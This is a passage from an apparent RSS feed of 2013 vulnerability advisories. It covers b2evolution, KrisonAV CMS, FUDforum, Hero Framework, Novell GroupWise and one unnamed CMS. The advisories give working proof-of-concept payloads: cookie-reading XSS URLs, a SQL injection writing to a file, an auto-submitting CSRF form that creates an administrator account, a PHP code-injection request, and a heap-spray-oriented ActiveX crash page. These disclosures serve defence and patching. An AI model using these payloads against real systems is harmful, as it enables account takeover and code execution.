color=#606060&gt;http://[host]/admin/upload.php?path=&amp;quot;&amp;gt;&amp;lt;scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;alert(document.cookie);&amp;lt;/scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.3 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "title" and "menu" HTTP GET parameters to "/admin/edit.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation examples below use the "alert()" JavaScript function to display administrator's cookies:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/admin/edit.php?title=&amp;quot;&amp;gt;&amp;lt;scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;alert(document.cookie);&amp;lt;/scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color=#606060&gt;http://[host]/admin/edit.php?menu=&amp;quot;&amp;gt;&amp;lt;scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;alert(document.cookie);&amp;lt;/scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.4 The vulnerability exists due to insufficient sanitisation of user-supplied data passed via the "path" and "returnid" HTTP GET parameters to "/admin/filebrowser.php" script. A remote attacker can trick a logged-in administrator to open a specially crafted link and execute arbitrary HTML and script code in browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation examples below use the "alert()" JavaScript function to display administrator's cookies:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/admin/filebrowser.php?path=&amp;quot;&amp;gt;&amp;lt;scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;alert(document.cookie);&amp;lt;/scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color=#606060&gt;http://[host]/admin/filebrowser.php?returnid=&amp;quot;&amp;gt;&amp;lt;scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;alert(document.cookie);&amp;lt;/scri&amp;lt;script&amp;gt;&amp;lt;/script&amp;gt;pt&amp;gt;&lt;/font&gt;&lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23141</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><pubDate>Wed, 01 May 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23152]: SQL Injection in b2evolution</title><link>https://www.htbridge.com/advisory/HTB23152</link><description>&lt;b&gt;Product:&lt;/b&gt; b2evolution v4.1.6&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; SQL Injection [CWE-89]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; b2evolution Group&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-04-10 12:55:18&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; May 1, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-2945&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in b2evolution, which can be exploited to alter SQL requests passed to the vulnerable application's database.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) SQL Injection in b2evolution: CVE-2013-2945&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient validation of HTTP GET parameter "show_statuses" in "/blogs/admin.php" script. A remote authenticated administrator can execute arbitrary SQL commands in application's database.&lt;br /&gt; &lt;br /&gt; Depending on database and system configuration, PoC code below will create a "/tmp/file.txt" file, containing MySQL version:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/blogs/admin.php?submit=Search&amp;amp;ctrl=items&amp;amp;tab=full&amp;amp;blog=1&amp;amp;show_statuses[]=1') )) UNION SELECT version() INTO OUTFILE '/tmp/file.txt' --&lt;/font&gt; &lt;br /&gt; &lt;br /&gt; &lt;br /&gt; This vulnerability is also exploitable via CSRF vector, since the application is prone to Cross-Site Request Forgery (CSRF) attacks. In order to do so an attacker should trick a logged-in administrator to visit malicious web page with CSRF exploit.&lt;br /&gt; &lt;br /&gt; Basic CSRF exploit:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;&amp;lt;img src=&amp;quot;http://[host]/blogs/admin.php?submit=Search&amp;amp;ctrl=items&amp;amp;tab=full&amp;amp;blog=1&amp;amp;show_statuses[]=1') )) UNION SELECT version() INTO OUTFILE '/tmp/file.txt' --&amp;quot;&amp;gt;&lt;/font&gt; &lt;br /&gt; </description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23152</guid><category><![CDATA[webappsec]]></category><category><![CDATA[SQL Injection]]></category><pubDate>Wed, 01 May 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23150]: Multiple Vulnerabilities in KrisonAV CMS</title><link>https://www.htbridge.com/advisory/HTB23150</link><description>&lt;b&gt;Product:&lt;/b&gt; KrisonAV CMS v3.0.1&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Scripting [CWE-79], Cross-Site Request Forgery [CWE-352]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; http://www.krisonav.com&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-03-27 12:17:18&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; April 17, 2013 &lt;br&gt;&lt;b&gt;CVE References:&lt;/b&gt; CVE-2013-2712, CVE-2013-2713&lt;br&gt; &lt;b&gt;CVSSv2 Base Scores:&lt;/b&gt; 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N), 5.1 (AV:N/AC:H/Au:N/C:P/I:P/A:P)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple vulnerabilities in KrisonAV CMS, which can be exploited to perform cross-site scripting and cross-site request forgery attacks.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Cross-Site Scripting (XSS) vulnerability in KrisonAV CMS: CVE-2013-2712&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient filtration of user-supplied data passed to "content" HTTP GET parameter via "/services/get_article.php" script. A remote attacker can trick a user to follow a specially crafted link and execute arbitrary HTML and script code in user's browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation example below uses JavaScript "alert()" function to display user's cookies:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/services/get_article.php?content=%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 2) Сross-Site Request Forgery (CSRF) vulnerability in KrisonAV CMS: CVE-2013-2713&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient verification of the HTTP request origin in "/users_maint.html" script. A remote attacker can trick a logged-in administrator to visit a specially crafted webpage and create a new account with administrative privileges.&lt;br /&gt; &lt;br /&gt; PoC (Proof-of-Concept) below will create a new account with login "username" and password "password":&lt;br /&gt; &lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;form&lt;/font&gt; &lt;font color="#800080"&gt;action&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;http://[host]/users_maint.html?itemid=52&amp;amp;maint=1&amp;amp;ccsForm=users&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;method&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;post&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;f1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;disabledCheckBox&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;1&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;username&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;username&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;password&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;groups_index&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;20&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;email&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;newuser@mail.com&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;hidden&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;name&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Button_Insert&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Save&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; &lt;font color="#800080"&gt;type&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;submit&amp;quot;&lt;/font&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;btn&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;form&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; document.f1.submit();&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23150</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><category><![CDATA[CSRF]]></category><pubDate>Wed, 17 Apr 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23146]: PHP Code Injection in FUDforum</title><link>https://www.htbridge.com/advisory/HTB23146</link><description>&lt;b&gt;Product:&lt;/b&gt; FUDforum v3.0.4&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Code Injection [CWE-94]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;High &lt;img src="https://www.htbridge.com/images/risk3.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; FUDforum&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-02-21 17:23:25&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; April 3, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-2267&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 7.1 (AV:N/AC:H/Au:S/C:C/I:C/A:C)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered vulnerability in FUDforum, which can be exploited to execute arbitrary PHP code on the target system.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) PHP Code Injection in FUDforum: CVE-2013-2267&lt;br /&gt; &lt;br /&gt; The vulnerability exists due to insufficient validation of HTTP POST parameters "regex_str", "regex_str_opt" and "regex_with" in "/adm/admreplace.php" script before using them in the "preg_replace()" function. A remote administrator can send a specially crafted HTTP POST request, inject and execute arbitrary PHP code on the target system with privileges of the web server. &lt;br /&gt; &lt;br /&gt; The following PoC (Proof of Concept) code executes the "phpinfo()" function:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;POST /adm/admreplace.php HTTP/1.1&lt;br /&gt; Host: fudforum&lt;br /&gt; Referer: http://fudforum/adm/admreplace.php?&amp;amp;SQ=8928823a5edf50cc642792c2fa4d8863&lt;br /&gt; Cookie: fud_session_1361275607=11703687e05757acb08bb3891f5b2f8d&lt;br /&gt; Connection: keep-alive&lt;br /&gt; Content-Type: application/x-www-form-urlencoded&lt;br /&gt; Content-Length: 111&lt;br /&gt; &lt;br /&gt; SQ=8928823a5edf50cc642792c2fa4d8863&amp;amp;rpl_replace_opt=0&amp;amp;btn_submit=Add&amp;amp;btn_regex=1&amp;amp;edit=&amp;amp;regex_str=(.*)&amp;amp;regex_str_opt=e&amp;amp;regex_with=phpinfo()&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; Successful exploitation of the vulnerability requires administrative privileges within the application.</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23146</guid><category><![CDATA[webappsec]]></category><pubDate>Wed, 03 Apr 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23149]: Multiple XSS in Hero Framework</title><link>https://www.htbridge.com/advisory/HTB23149</link><description>&lt;b&gt;Product:&lt;/b&gt; Hero Framework v3.791&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Cross-Site Scripting [CWE-79]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Medium &lt;img src="https://www.htbridge.com/images/risk2.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; http://www.heroframework.com/&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2013-03-20 13:20:46&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; April 10, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-2649&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 4.3 (AV:N/AC:M/Au:N/C:N/I:P/A:N)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered two XSS vulnerabilities in Hero Framework, which can be exploited to perform cross-site scripting attacks against vulnerable application.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Multiple XSS in Hero Framework: CVE-2013-2649&lt;br /&gt; &lt;br /&gt; 1.1 The vulnerability exists due to insufficient sanitisation of user-supplied data in "username" HTTP GET parameter passed to "/users/login" URL. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in victim's browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation example below uses JavaScript 'alert()' function to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/users/login?username=%22%3E%3Cscript%3Ealert%28document.cookie%29;%3C/script%3E&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1.2 The vulnerability exists due to insufficient sanitisation of user-supplied data in "error" HTTP GET parameter passed to "/users/forgot_password" URL. The parameter is passed to the vulnerable script in base64 encoding. A remote attacker can trick a logged-in user to open a specially crafted link and execute arbitrary HTML and script code in victoms's browser in context of the vulnerable website.&lt;br /&gt; &lt;br /&gt; The exploitation example below uses the same XSS payload as above encoded in base64 to display user's cookies: &lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;http://[host]/users/forgot_password?error=PHNjcmlwdD5hbGVydChkb2N1bWVudC5jb29raWUpOzwvc2NyaXB0Pg==&lt;/font&gt;</description><guid isPermaLink="true">https://www.htbridge.com/advisory/HTB23149</guid><category><![CDATA[webappsec]]></category><category><![CDATA[XSS]]></category><pubDate>Wed, 10 Apr 2013 00:00:00 +0200</pubDate></item><item><title>[HTB23131]: Novell GroupWise Multiple Remote Code Execution Vulnerabilities</title><link>https://www.htbridge.com/advisory/HTB23131</link><description>&lt;b&gt;Product:&lt;/b&gt; Novell GroupWise v12.0.0.8586 and probably prior&lt;br&gt;&lt;b&gt;Vulnerability Type:&lt;/b&gt; Untrusted Pointer Dereference [CWE-822]&lt;br&gt;&lt;b&gt;Risk level: &lt;/b&gt;Critical &lt;img src="https://www.htbridge.com/images/risk4.png" style='margin-bottom:4px;'&gt;&lt;br /&gt;&lt;b&gt;Creater:&lt;/b&gt; Novell Inc.&lt;br&gt;&lt;b&gt;Vendor Notification:&lt;/b&gt; 2012-11-26 12:43:40&lt;br&gt;&lt;b&gt;Public Disclosure:&lt;/b&gt; April 3, 2013 &lt;br&gt;&lt;b&gt;CVE Reference:&lt;/b&gt; CVE-2013-0804&lt;br&gt; &lt;b&gt;CVSSv2 Base Score:&lt;/b&gt; 9.3 (AV:N/AC:M/Au:N/C:C/I:C/A:C)&lt;br&gt; &lt;b&gt;Vulnerability Details:&lt;/b&gt; High-Tech Bridge Security Research Lab discovered multiple untrusted pointer dereference vulnerabilities in Novell GroupWise, which could be exploited to compromise a remote system.&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; 1) Untrusted Pointer Dereference in Novell GroupWise: CVE-2013-0804&lt;br /&gt; &lt;br /&gt; 1.1 The vulnerability exists due to an untrusted pointer dereference error in the &lt;b&gt;InvokeContact()&lt;/b&gt; method within the ActiveX control (&lt;b&gt;gwabdlg.dll&lt;/b&gt;, GUID &lt;b&gt;{54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF}&lt;/b&gt;, located by default in "&lt;b&gt;C:\Program Files\Novell\GroupWise\gwabdlg.dll&lt;/b&gt;"&lt;br /&gt; &lt;br /&gt; A remote attacker can pass an arbitrary value to the &lt;b&gt;pInvokeParams&lt;/b&gt; argument of the &lt;b&gt;InvokeContact()&lt;/b&gt; method and trigger the ACCESS_VIOLATION exception on a MOV EAX, DWORD PTR [EAX+4] instruction. &lt;br /&gt; &lt;br /&gt; Since it is conceivable to supply a custom pointer, an attacker can exploit this vulnerability relying on the heap-spray technique. After the crash, the application moves the value of the supplied pointer plus four bytes into the EAX register.&lt;br /&gt; &lt;br /&gt; &lt;b&gt;5722D301 8B40 04 MOV EAX,DWORD PTR DS:[EAX+4]&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; Later this value will be allocated into the stack:&lt;br /&gt; &lt;br /&gt; &lt;b&gt;5722D304 8985 24FFFFFF MOV DWORD PTR SS:[EBP-DC],EAX&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; The code continues its flow and enters a switch case algorithm:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;5722D30A 83BD 24FFFFFF 01 CMP DWORD PTR SS:[EBP-DC],1&lt;br /&gt; 5722D311 0F84 57010000 JE gwabdlg.5722D46E&lt;br /&gt; 5722D317 83BD 24FFFFFF 02 CMP DWORD PTR SS:[EBP-DC],2&lt;br /&gt; 5722D31E 0F84 00010000 JE gwabdlg.5722D424&lt;/font&gt;&lt;br /&gt; &lt;b&gt;5722D324 83BD 24FFFFFF 03 CMP DWORD PTR SS:[EBP-DC],3&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;5722D32B 0F84 83010000 JE gwabdlg.5722D4B4&lt;br /&gt; 5722D331 83BD 24FFFFFF 04 CMP DWORD PTR SS:[EBP-DC],4&lt;br /&gt; 5722D338 0F84 AF020000 JE gwabdlg.5722D5ED&lt;br /&gt; 5722D33E 83BD 24FFFFFF 05 CMP DWORD PTR SS:[EBP-DC],5&lt;br /&gt; 5722D345 0F84 9A030000 JE gwabdlg.5722D6E5&lt;br /&gt; 5722D34B 83BD 24FFFFFF 06 CMP DWORD PTR SS:[EBP-DC],6&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; If an attacker can specify a custom switch value, in this case the number 3, it will jump to the address &lt;b&gt;0x5722D4B4&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;5722D4B4 8B45 08 MOV EAX,DWORD PTR SS:[EBP+8]&lt;br /&gt; 5722D4B7 8945 D4 MOV DWORD PTR SS:[EBP-2C],EAX&lt;br /&gt; 5722D4BA 8365 D8 00 AND DWORD PTR SS:[EBP-28],0&lt;br /&gt; 5722D4BE 8D45 D8 LEA EAX,DWORD PTR SS:[EBP-28]&lt;br /&gt; 5722D4C1 50 PUSH EAX&lt;br /&gt; 5722D4C2 68 58122D57 PUSH gwabdlg.572D1258&lt;br /&gt; 5722D4C7 8B45 D4 MOV EAX,DWORD PTR SS:[EBP-2C]&lt;br /&gt; 5722D4CA 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]&lt;br /&gt; 5722D4CD 8B4D D4 MOV ECX,DWORD PTR SS:[EBP-2C]&lt;br /&gt; 5722D4D0 8B49 30 MOV ECX,DWORD PTR DS:[ECX+30]&lt;/font&gt;&lt;br /&gt; &lt;b&gt;5722D4D3 8B00 MOV EAX,DWORD PTR DS:[EAX]&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;5722D4D5 51 PUSH ECX&lt;/font&gt;&lt;br /&gt; &lt;b&gt;5722D4D6 FF10 CALL DWORD PTR DS:[EAX]&lt;/b&gt;&lt;br /&gt; &lt;br /&gt; After entering into this function, and since the EAX register is completely under the attacker control, it is possible to supply another custom pointer that will be executed after the code reaches the &lt;b&gt;CALL DWORD PTR DS:[EAX]&lt;/b&gt; instruction:&lt;br /&gt; &lt;br /&gt; &lt;font color=#606060&gt;0C0C0C0C 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C0E 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C10 0300 ADD EAX,DWORD PTR DS:[EAX]&lt;br /&gt; 0C0C0C12 0000 ADD BYTE PTR DS:[EAX],AL&lt;br /&gt; 0C0C0C14 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C16 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C18 0C 0C OR AL,0C&lt;br /&gt; 0C0C0C1A 0C 0C OR AL,0C&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;Crash details:&lt;/b&gt;&lt;br /&gt; &lt;font color=#606060&gt;(162c.5ae0): Access violation - code c0000005 (first chance)&lt;br /&gt; First chance exceptions are reported before any exception handling.&lt;br /&gt; This exception may be expected and handled.&lt;br /&gt; eax=0c0c0c08 ebx=572caacc ecx=57307f00 edx=0029677a esi=00296754 edi=001deda4&lt;br /&gt; eip=5722d301 esp=001dec3c ebp=001ded24 iopl=0 nv up ei pl nz na po nc&lt;br /&gt; cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210202&lt;br /&gt; *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\Novell\GroupWise\gwabdlg.dll - &lt;br /&gt; gwabdlg!DllUnregisterServer+0x4c10e:&lt;br /&gt; 5722d301 8b4004 mov eax,dword ptr [eax+4] ds:0023:0c0c0c0c=????????&lt;/font&gt;&lt;br /&gt; &lt;br /&gt; &lt;br /&gt; &lt;b&gt;The following PoC will crash Internet Explorer 7/8/9:&lt;/b&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;html&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;!--&lt;/font&gt; (c)oded by High-Tech Bridge Security Research Lab --&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;title&lt;/font&gt;&amp;gt;&lt;/font&gt; Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;title&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;head&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;script&lt;/font&gt; &lt;font color="#800080"&gt;language&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'vbscript'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; Sub PoC()&lt;br /&gt; arg1=202116104&lt;br /&gt; target.InvokeContact arg1 &lt;br /&gt; End Sub&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;script&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h3&lt;/font&gt;&amp;gt;&lt;/font&gt; Novell GroupWise Multiple Remote Code Execution vulnerabilities v.12.0.0.8586&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h3&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt; Untrusted Pointer Dereference PoC &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;h4&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;hr&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; This simple PoC will crash Internet Explorer v9.0 when trying to read the arbitrary address 0x0c0c0c0c.&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;BR&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;BR&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;input&lt;/font&gt; language=VBScript onclick=PoC() type=button &lt;font color="#800080"&gt;value&lt;/font&gt;=&lt;font color="#FF00FF"&gt;&amp;quot;Proof of Concept&amp;quot;&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;/&lt;font color="#808000"&gt;body&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;br /&gt; &lt;font color="#0000FF"&gt;&amp;lt;&lt;font color="#808000"&gt;object&lt;/font&gt; &lt;font color="#800080"&gt;classid&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'clsid:54AD9EC4-BB4A-4D66-AE1E-D6780930B9EF'&lt;/font&gt;&lt;br /&gt; &lt;font color="#800080"&gt;id&lt;/font&gt;=&lt;font color="#FF00FF"&gt;'Target'&lt;/font&gt;&amp;gt;&lt;/font&gt;&lt;font color="#0000FF"&gt;&amp;lt;/&lt;font 